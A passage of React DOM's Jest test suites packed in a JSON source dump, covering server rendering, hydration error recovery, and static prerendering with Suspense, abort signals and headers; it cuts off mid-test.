{\n        let root;\n        startTransition(() => {\n          root = ReactDOMClient.hydrateRoot(container, <App />);\n        });\n        // This has lower priority than the initial hydration, so the update\n        // won't be processed until after hydration finishes.\n        startTransition(() => {\n          root.render(<Text text=\"Updated\" />);\n        });\n      });\n      assertLog(['Initial', 'Updated']);\n      expect(container.textContent).toBe('Updated');\n    },\n  );\n\n  it('updating the root while the shell is suspended forces a client render', async () => {\n    function App() {\n      return <AsyncText text=\"Shell\" />;\n    }\n\n    // Server render\n    await resolveText('Shell');\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    assertLog(['Shell']);\n\n    // Clear the cache and start rendering on the client\n    resetTextCache();\n\n    // Hydration suspends because the data for the shell hasn't loaded yet\n    const root = await clientAct(async () => {\n      return ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          Scheduler.log(error.message);\n        },\n      });\n    });\n    assertLog(['Suspend! [Shell]']);\n    expect(container.textContent).toBe('Shell');\n\n    await clientAct(async () => {\n      root.render(<Text text=\"New screen\" />);\n    });\n    assertLog([\n      'New screen',\n      'This root received an early update, before anything was able ' +\n        'hydrate. Switched the entire root to client rendering.',\n    ]);\n    expect(container.textContent).toBe('New screen');\n  });\n\n  it('TODO: A large component stack causes SSR to stack overflow', async () => {\n    spyOnDevAndProd(console, 'error').mockImplementation(() => {});\n\n    function NestedComponent({depth}: {depth: number}) {\n      if (depth <= 0) {\n        return <AsyncText text=\"Shell\" />;\n      }\n      return <NestedComponent depth={depth - 1} />;\n    }\n\n    // Server render\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        <NestedComponent depth={3000} />,\n      );\n    });\n    expect(console.error).toHaveBeenCalledTimes(1);\n    expect(console.error.mock.calls[0][0].toString()).toBe(\n      'RangeError: Maximum call stack size exceeded',\n    );\n  });\n\n  it('client renders when an error is thrown in an error boundary', async () => {\n    function Throws() {\n      throw new Error('plain error');\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <div>Caught an error: {this.state.error.message}</div>;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App() {\n      return (\n        <ErrorBoundary>\n          <Throws />\n        </ErrorBoundary>\n      );\n    }\n\n    // Server render\n    let shellError;\n    try {\n      await serverAct(async () => {\n        const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />, {\n          onError(error) {\n            Scheduler.log('onError: ' + error.message);\n          },\n        });\n        pipe(writable);\n      });\n    } catch (x) {\n      shellError = x;\n    }\n    expect(shellError).toEqual(\n      expect.objectContaining({message: 'plain error'}),\n    );\n    assertLog(['onError: plain error']);\n\n    function ErroredApp() {\n      return <span>loading</span>;\n    }\n\n    // Reset test environment\n    buffer = '';\n    hasErrored = false;\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n\n    // The Server errored at the shell. The recommended approach is to render a\n    // fallback loading state, which can then be hydrated with a mismatch.\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<ErroredApp />);\n      pipe(writable);\n    });\n\n    expect(container.innerHTML).toBe('<span>loading</span>');\n\n    // Hydration suspends because the data for the shell hasn't loaded yet\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onCaughtError(error) {\n          Scheduler.log('onCaughtError: ' + error.message);\n        },\n        onUncaughtError(error) {\n          Scheduler.log('onUncaughtError: ' + error.message);\n        },\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + error.message);\n          if (error.cause) {\n            Scheduler.log('Cause: ' + error.cause.message);\n          }\n        },\n      });\n    });\n\n    assertLog(['onCaughtError: plain error']);\n    expect(container.textContent).toBe('Caught an error: plain error');\n  });\n\n  it('client renders when a client error is thrown in an error boundary', async () => {\n    let isClient = false;\n\n    function Throws() {\n      if (isClient) {\n        throw new Error('plain error');\n      }\n      return <div>Hello world</div>;\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <div>Caught an error: {this.state.error.message}</div>;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App() {\n      return (\n        <ErrorBoundary>\n          <Throws />\n        </ErrorBoundary>\n      );\n    }\n\n    // Server render\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />, {\n        onError(error) {\n          Scheduler.log('onError: ' + error.message);\n        },\n      });\n      pipe(writable);\n    });\n    assertLog([]);\n\n    expect(container.innerHTML).toBe('<div>Hello world</div>');\n\n    isClient = true;\n\n    // Hydration suspends because the data for the shell hasn't loaded yet\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onCaughtError(error) {\n          Scheduler.log('onCaughtError: ' + error.message);\n        },\n        onUncaughtError(error) {\n          Scheduler.log('onUncaughtError: ' + error.message);\n        },\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + error.message);\n          if (error.cause) {\n            Scheduler.log('Cause: ' + error.cause.message);\n          }\n        },\n      });\n    });\n\n    assertLog(['onCaughtError: plain error']);\n    expect(container.textContent).toBe('Caught an error: plain error');\n  });\n\n  it('client renders when a hydration pass error is thrown in an error boundary', async () => {\n    let isClient = false;\n    let isFirst = true;\n\n    function Throws() {\n      if (isClient && isFirst) {\n        isFirst = false; // simulate a hydration or concurrent error\n        throw new Error('plain error');\n      }\n      return <div>Hello world</div>;\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <div>Caught an error: {this.state.error.message}</div>;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App() {\n      return (\n        <ErrorBoundary>\n          <Throws />\n        </ErrorBoundary>\n      );\n    }\n\n    // Server render\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />, {\n        onError(error) {\n          Scheduler.log('onError: ' + error.message);\n        },\n      });\n      pipe(writable);\n    });\n    assertLog([]);\n\n    expect(container.innerHTML).toBe('<div>Hello world</div>');\n\n    isClient = true;\n\n    // Hydration suspends because the data for the shell hasn't loaded yet\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onCaughtError(error) {\n          Scheduler.log('onCaughtError: ' + error.message);\n        },\n        onUncaughtError(error) {\n          Scheduler.log('onUncaughtError: ' + error.message);\n        },\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + error.message);\n          if (error.cause) {\n            Scheduler.log('Cause: ' + error.cause.message);\n          }\n        },\n      });\n    });\n\n    assertLog([\n      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering the entire root.',\n      'Cause: plain error',\n    ]);\n    expect(container.textContent).toBe('Hello world');\n  });\n\n  it(\n    'handles suspending while recovering from a hydration error (in the ' +\n      'shell, no Suspense boundary)',\n    async () => {\n      const useSyncExternalStore = React.useSyncExternalStore;\n\n      let isClient = false;\n\n      let resolve;\n      const clientPromise = new Promise(res => {\n        resolve = res;\n      });\n\n      function App() {\n        const state = useSyncExternalStore(\n          function subscribe() {\n            return () => {};\n          },\n          function getSnapshot() {\n            return 'Client';\n          },\n          function getServerSnapshot() {\n            const isHydrating = isClient;\n            if (isHydrating) {\n              // This triggers an error during hydration\n              throw new Error('Oops!');\n            }\n            return 'Server';\n          },\n        );\n\n        if (state === 'Client') {\n          return React.use(clientPromise);\n        }\n\n        return state;\n      }\n\n      // Server render\n      await serverAct(async () => {\n        const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertLog([]);\n\n      expect(container.innerHTML).toBe('Server');\n\n      // During hydration, an error is thrown. React attempts to recover by\n      // switching to client render\n      isClient = true;\n      await clientAct(async () => {\n        ReactDOMClient.hydrateRoot(container, <App />, {\n          onRecoverableError(error) {\n            Scheduler.log('onRecoverableError: ' + error.message);\n            if (error.cause) {\n              Scheduler.log('Cause: ' + error.cause.message);\n            }\n          },\n        });\n      });\n      expect(container.innerHTML).toBe('Server'); // Still suspended\n      assertLog([]);\n\n      await clientAct(async () => {\n        resolve('Client');\n      });\n      assertLog([\n        'onRecoverableError: There was an error while hydrating but React was ' +\n          'able to recover by instead client rendering the entire root.',\n        'Cause: Oops!',\n      ]);\n      expect(container.innerHTML).toBe('Client');\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzStatic-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet JSDOM;\nlet Stream;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMFizzStatic;\nlet Suspense;\nlet textCache;\nlet document;\nlet writable;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet fatalError = undefined;\n\ndescribe('ReactDOMFizzStatic', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMFizzStatic = require('react-dom/static');\n    Stream = require('stream');\n    Suspense = React.Suspense;\n\n    textCache = new Map();\n\n    // Test Environment\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    document = jsdom.window.document;\n    container = document.getElementById('container');\n\n    buffer = '';\n    hasErrored = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n  });\n\n  async function act(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.\n    // We also want to execute any scripts that are embedded.\n    // We assume that we have now received a proper fragment of HTML.\n    const bufferedContent = buffer;\n    buffer = '';\n    const fakeBody = document.createElement('body');\n    fakeBody.innerHTML = bufferedContent;\n    while (fakeBody.firstChild) {\n      const node = fakeBody.firstChild;\n      if (node.nodeName === 'SCRIPT') {\n        const script = document.createElement('script');\n        script.textContent = node.textContent;\n        for (let i = 0; i < node.attributes.length; i++) {\n          const attribute = node.attributes[i];\n          script.setAttribute(attribute.name, attribute.value);\n        }\n        fakeBody.removeChild(node);\n        container.appendChild(script);\n      } else {\n        container.appendChild(node);\n      }\n    }\n  }\n\n  function getVisibleChildren(element) {\n    const children = [];\n    let node = element.firstChild;\n    while (node) {\n      if (node.nodeType === 1) {\n        if (\n          (node.tagName !== 'SCRIPT' || node.hasAttribute('type')) &&\n          node.tagName !== 'TEMPLATE' &&\n          node.tagName !== 'template' &&\n          !node.hasAttribute('hidden') &&\n          !node.hasAttribute('aria-hidden') &&\n          // Ignore the render blocking expect\n          (node.getAttribute('rel') !== 'expect' ||\n            node.getAttribute('blocking') !== 'render')\n        ) {\n          const props = {};\n          const attributes = node.attributes;\n          for (let i = 0; i < attributes.length; i++) {\n            if (\n              attributes[i].name === 'id' &&\n              attributes[i].value.includes(':')\n            ) {\n              // We assume this is a React added ID that's a non-visual implementation detail.\n              continue;\n            }\n            props[attributes[i].name] = attributes[i].value;\n          }\n          props.children = getVisibleChildren(node);\n          children.push(React.createElement(node.tagName.toLowerCase(), props));\n        }\n      } else if (node.nodeType === 3) {\n        children.push(node.data);\n      }\n      node = node.nextSibling;\n    }\n    return children.length === 0\n      ? undefined\n      : children.length === 1\n        ? children[0]\n        : children;\n  }\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  /*\n  function rejectText(text, error) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'rejected',\n        value: error,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'rejected';\n      record.value = error;\n      thenable.pings.forEach(t => t());\n    }\n  }\n  */\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    return text;\n  }\n\n  function AsyncText({text}) {\n    return readText(text);\n  }\n\n  it('should render a fully static document, send it and then hydrate it', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Hello\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const promise = ReactDOMFizzStatic.prerenderToNodeStream(<App />);\n\n    resolveText('Hello');\n\n    const result = await promise;\n\n    expect(result.postponed).toBe(null);\n\n    await act(async () => {\n      result.prelude.pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);\n  });\n\n  it('should support importMap option', async () => {\n    const importMap = {\n      foo: 'path/to/foo.js',\n    };\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(\n      <html>\n        <body>hello world</body>\n      </html>,\n      {importMap},\n    );\n\n    await act(async () => {\n      result.prelude.pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual([\n      <script type=\"importmap\">{JSON.stringify(importMap)}</script>,\n      'hello world',\n    ]);\n  });\n\n  it('supports onHeaders', async () => {\n    let headers;\n    function onHeaders(x) {\n      headers = x;\n    }\n\n    function App() {\n      ReactDOM.preload('image', {as: 'image', fetchPriority: 'high'});\n      ReactDOM.preload('font', {as: 'font'});\n      return (\n        <html>\n          <body>hello</body>\n        </html>\n      );\n    }\n\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />, {\n      onHeaders,\n    });\n    expect(headers).toEqual({\n      Link: `\n<font>; rel=preload; as=\"font\"; crossorigin=\"\",\n <image>; rel=preload; as=\"image\"; fetchpriority=\"high\"\n`\n        .replaceAll('\\n', '')\n        .trim(),\n    });\n\n    await act(async () => {\n      result.prelude.pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual('hello');\n  });\n\n  it('will prerender Suspense fallbacks before children', async () => {\n    const values = [];\n    function Indirection({children}) {\n      values.push(children);\n      return children;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense\n            fallback={\n              <div>\n                <Indirection>outer loading...</Indirection>\n              </div>\n            }>\n            <Suspense\n              fallback={\n                <div>\n                  <Indirection>first inner loading...</Indirection>\n                </div>\n              }>\n              <div>\n                <Indirection>hello world</Indirection>\n              </div>\n            </Suspense>\n            <Suspense\n              fallback={\n                <div>\n                  <Indirection>second inner loading...</Indirection>\n                </div>\n              }>\n              <div>\n                <Indirection>goodbye world</Indirection>\n              </div>\n            </Suspense>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />);\n\n    expect(values).toEqual([\n      'outer loading...',\n      'first inner loading...',\n      'second inner loading...',\n      'hello world',\n      'goodbye world',\n    ]);\n\n    await act(async () => {\n      result.prelude.pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>hello world</div>\n        <div>goodbye world</div>\n      </div>,\n    );\n  });\n\n  it('will halt a prerender when aborting with an error during a render', async () => {\n    const controller = new AbortController();\n    function App() {\n      controller.abort('sync');\n      return <div>hello world</div>;\n    }\n\n    const errors = [];\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />, {\n      signal: controller.signal,\n      onError(error) {\n        errors.push(error);\n      },\n    });\n    await act(async () => {\n      result.prelude.pipe(writable);\n    });\n    expect(errors).toEqual(['sync']);\n    expect(getVisibleChildren(container)).toEqual(undefined);\n  });\n\n  it('will halt a prerender when aborting with an error in a microtask', async () => {\n    const errors = [];\n\n    const controller = new AbortController();\n    function App() {\n      React.use(\n        new Promise(() => {\n          Promise.resolve().then(() => {\n            controller.abort('async');\n          });\n        }),\n      );\n      return <div>hello world</div>;\n    }\n\n    errors.length = 0;\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />, {\n      signal: controller.signal,\n      onError(error) {\n        errors.push(error);\n      },\n    });\n    await act(async () => {\n      result.prelude.pipe(writable);\n    });\n    expect(errors).toEqual(['async']);\n    expect(getVisibleChildren(container)).toEqual(undefined);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzStaticBrowser-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\nimport {\n  getVisibleChildren,\n  insertNodesAndExecuteScripts,\n} from '../test-utils/FizzTestUtils';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.TextDecoder = require('util').TextDecoder;\n\nlet JSDOM;\nlet React;\nlet ReactDOMFizzServer;\nlet ReactDOMFizzStatic;\nlet Suspense;\nlet SuspenseList;\nlet container;\nlet serverAct;\n\ndescribe('ReactDOMFizzStaticBrowser', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n\n    // We need the mocked version of setTimeout inside the document.\n    window.setTimeout = setTimeout;\n    window.requestAnimationFrame = setTimeout;\n\n    patchMessageChannel();\n    serverAct = require('internal-test-utils').serverAct;\n\n    React = require('react');\n    ReactDOMFizzServer = require('react-dom/server.browser');\n    ReactDOMFizzStatic = require('react-dom/static.browser');\n    Suspense = React.Suspense;\n    SuspenseList = React.unstable_SuspenseList;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    if (typeof global.window.__restoreGlobalScope === 'function') {\n      global.window.__restoreGlobalScope();\n    }\n    document.body.removeChild(container);\n  });\n\n  const theError = new Error('This is an error');\n  function Throw() {\n    throw theError;\n  }\n  const theInfinitePromise = new Promise(() => {});\n  function InfiniteSuspend() {\n    throw theInfinitePromise;\n  }\n\n  async function readContent(stream) {\n    const reader = stream.getReader();\n    let content = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return content;\n      }\n      content += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  async function readIntoContainer(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        break;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n    const temp = document.createElement('div');\n    temp.innerHTML = result;\n    await insertNodesAndExecuteScripts(temp, container, null);\n    jest.runAllTimers();\n  }\n\n  async function readIntoNewDocument(stream) {\n    const content = await readContent(stream);\n    const jsdom = new JSDOM(\n      // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.\n      '<script>window.requestAnimationFrame = setTimeout;</script>' + content,\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    const originalWindow = global.window;\n    const originalDocument = global.document;\n    const originalNavigator = global.navigator;\n    const originalNode = global.Node;\n    const originalAddEventListener = global.addEventListener;\n    const originalMutationObserver = global.MutationObserver;\n    global.window = jsdom.window;\n    global.document = global.window.document;\n    global.navigator = global.window.navigator;\n    global.Node = global.window.Node;\n    global.addEventListener = global.window.addEventListener;\n    global.MutationObserver = global.window.MutationObserver;\n    global.window.__restoreGlobalScope = () => {\n      global.window = originalWindow;\n      global.document = originalDocument;\n      global.navigator = originalNavigator;\n      global.Node = originalNode;\n      global.addEventListener = originalAddEventListener;\n      global.MutationObserver = originalMutationObserver;\n    };\n  }\n\n  async function readIntoCurrentDocument(stream) {\n    const content = await readContent(stream);\n    const temp = document.createElement('div');\n    temp.innerHTML = content;\n    await insertNodesAndExecuteScripts(temp, document.body, null);\n    jest.runAllTimers();\n  }\n\n  it('should call prerender', async () => {\n    const result = await serverAct(() =>\n      ReactDOMFizzStatic.prerender(<div>hello world</div>),\n    );\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toMatchInlineSnapshot(`\"<div>hello world</div>\"`);\n  });\n\n  it('should emit DOCTYPE at the root of the document', async () => {\n    const result = await serverAct(() =>\n      ReactDOMFizzStatic.prerender(\n        <html>\n          <body>hello world</body>\n        </html>,\n      ),\n    );\n    const prelude = await readContent(result.prelude);\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(prelude).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head><link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/></head><body>hello world<template id=\"_R_\"></template></body></html>\"`,\n      );\n    } else {\n      expect(prelude).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head></head><body>hello world</body></html>\"`,\n      );\n    }\n  });\n\n  it('should emit bootstrap script src at the end', async () => {\n    const result = await serverAct(() =>\n      ReactDOMFizzStatic.prerender(<div>hello world</div>, {\n        bootstrapScriptContent: 'INIT();',\n        bootstrapScripts: ['init.js'],\n        bootstrapModules: ['init.mjs'],\n      }),\n    );\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toMatchInlineSnapshot(\n      `\"<link rel=\"preload\" as=\"script\" fetchPriority=\"low\" href=\"init.js\"/><link rel=\"modulepreload\" fetchPriority=\"low\" href=\"init.mjs\"/><div>hello world</div><script id=\"_R_\">INIT();</script><script src=\"init.js\" async=\"\"></script><script type=\"module\" src=\"init.mjs\" async=\"\"></script>\"`,\n    );\n  });\n\n  it('emits all HTML as one unit', async () => {\n    let hasLoaded = false;\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function Wait() {\n      if (!hasLoaded) {\n        throw promise;\n      }\n      return 'Done';\n    }\n    const resultPromise = serverAct(() =>\n      ReactDOMFizzStatic.prerender(\n        <div>\n          <Suspense fallback=\"Loading\">\n            <Wait />\n          </Suspense>\n        </div>,\n      ),\n    );\n\n    await jest.runAllTimers();\n\n    // Resolve the loading.\n    hasLoaded = true;\n    await resolve();\n\n    const result = await resultPromise;\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toMatchInlineSnapshot(`\"<div><!--$-->Done<!--/$--></div>\"`);\n  });\n\n  it('should reject the promise when an error is thrown at the root', async () => {\n    const reportedErrors = [];\n    let caughtError = null;\n    try {\n      await serverAct(() =>\n        ReactDOMFizzStatic.prerender(\n          <div>\n            <Throw />\n          </div>,\n          {\n            onError(x) {\n              reportedErrors.push(x);\n            },\n          },\n        ),\n      );\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError).toBe(theError);\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should reject the promise when an error is thrown inside a fallback', async () => {\n    const reportedErrors = [];\n    let caughtError = null;\n    try {\n      await serverAct(() =>\n        ReactDOMFizzStatic.prerender(\n          <div>\n            <Suspense fallback={<Throw />}>\n              <InfiniteSuspend />\n            </Suspense>\n          </div>,\n          {\n            onError(x) {\n              reportedErrors.push(x);\n            },\n          },\n        ),\n      );\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError).toBe(theError);\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should not error the stream when an error is thrown inside suspense boundary', async () => {\n    const reportedErrors = [];\n    const result = await serverAct(() =>\n      ReactDOMFizzStatic.prerender(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <Throw />\n          </Suspense>\n        </div>,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n          },\n        },\n      ),\n    );\n\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toContain('Loading');\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should be able to complete by aborting even if the promise never resolves', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    let resultPromise;\n    await serverAct(() => {\n      resultPromise = ReactDOMFizzStatic.prerender(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <InfiniteSuspend />\n          </Suspense>\n        </div>,\n        {\n          signal: controller.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      );\n    });\n\n    controller.abort();\n\n    const result = await resultPromise;\n\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toContain('Loading');\n\n    expect(errors).toEqual(['This operation was aborted']);\n  });\n\n  it('should resolve an empty prelude if aborting before the shell is complete', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    const promise = serverAct(() =>\n      ReactDOMFizzStatic.prerender(\n        <div>\n          <InfiniteSuspend />\n        </div>,\n        {\n          signal: controller.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    await jest.runAllTimers();\n\n    const theReason = new Error('aborted for reasons');\n    controller.abort(theReason);\n\n    let rejected = false;\n    let prelude;\n    try {\n      ({prelude} = await promise);\n    } catch (error) {\n      rejected = true;\n    }\n    expect(rejected).toBe(false);\n    expect(errors).toEqual(['aborted for reasons']);\n    const content = await readContent(prelude);\n    expect(content).toBe('');\n  });\n\n  it('should be able to abort before something suspends', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    function App() {\n      controller.abort();\n      return (\n        <Suspense fallback={<div>Loading</div>}>\n          <InfiniteSuspend />\n        </Suspense>\n      );\n    }\n    const streamPromise = serverAct(() =>\n      ReactDOMFizzStatic.prerender(\n        <div>\n          <App />\n        </div>,\n        {\n          signal: controller.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    const {prelude} = await streamPromise;\n    const content = await readContent(prelude);\n    expect(errors).toEqual(['This operation was aborted']);\n    expect(content).toBe('');\n  });\n\n  it('should resolve an empty prelude if passing an already aborted signal', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    const theReason = new Error('aborted for reasons');\n    controller.abort(theReason);\n\n    const promise = serverAct(() =>\n      ReactDOMFizzStatic.prerender(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <InfiniteSuspend />\n          </Suspense>\n        </div>,\n        {\n          signal: controller.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      ),\n    );\n\n    // Technically we could still continue rendering the shell but currently the\n    // semantics mean that we also abort any pending CPU work.\n    let didThrow = false;\n    let prelude;\n    try {\n      ({prelude} = await promise);\n    } catch (error) {\n      didThrow = true;\n    }\n    expect(didThrow).toBe(false);\n    expect(errors).toEqual(['aborted for reasons']);\n    const content = await readContent(prelude);\n    expect(content).toBe('');\n  });\n\n  it('supports custom abort reasons with a string', async () => {\n    const promise = new Promise(r => {});\n    function Wait() {\n      throw promise;\n    }\n    function App() {\n      return (\n        <div>\n          <p>\n            <Suspense fallback={'p'}>\n              <Wait />\n            </Suspense>\n          </p>\n          <span>\n            <Suspense fallback={'span'}>\n              <Wait />\n            </Suspense>\n          </span>\n        </div>\n      );\n    }\n\n    const errors = [];\n    const controller = new AbortController();\n    let resultPromise;\n    await serverAct(() => {\n      resultPromise = ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x);\n          return 'a digest';\n        },\n      });\n    });\n\n    controller.abort('foobar');\n\n    await resultPromise;\n\n    expect(errors).toEqual(['foobar', 'foobar']);\n  });\n\n  it('supports custom abort reasons with an Error', async () => {\n    const promise = new Promise(r => {});\n    function Wait() {\n      throw promise;\n    }\n    function App() {\n      return (\n        <div>\n          <p>\n            <Suspense fallback={'p'}>\n              <Wait />\n            </Suspense>\n          </p>\n          <span>\n            <Suspense fallback={'span'}>\n              <Wait />\n            </Suspense>\n          </span>\n        </div>\n      );\n    }\n\n    const errors = [];\n    const controller = new AbortController();\n    let resultPromise;\n    await serverAct(() => {\n      resultPromise = ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n          return 'a digest';\n        },\n      });\n    });\n\n    controller.abort(new Error('uh oh'));\n\n    await resultPromise;\n\n    expect(errors).toEqual(['uh oh', 'uh oh']);\n  });\n\n  it('logs an error if onHeaders throws but continues the prerender', async () => {\n    const errors = [];\n    function onError(error) {\n      errors.push(error.message);\n    }\n\n    function onHeaders(x) {\n      throw new Error('bad onHeaders');\n    }\n\n    const prerendered = await serverAct(() =>\n      ReactDOMFizzStatic.prerender(<div>hello</div>, {\n        onHeaders,\n        onError,\n      }),\n    );\n    expect(prerendered.postponed).toBe(null);\n    expect(errors).toEqual(['bad onHeaders']);\n\n    await readIntoContainer(prerendered.prelude);\n    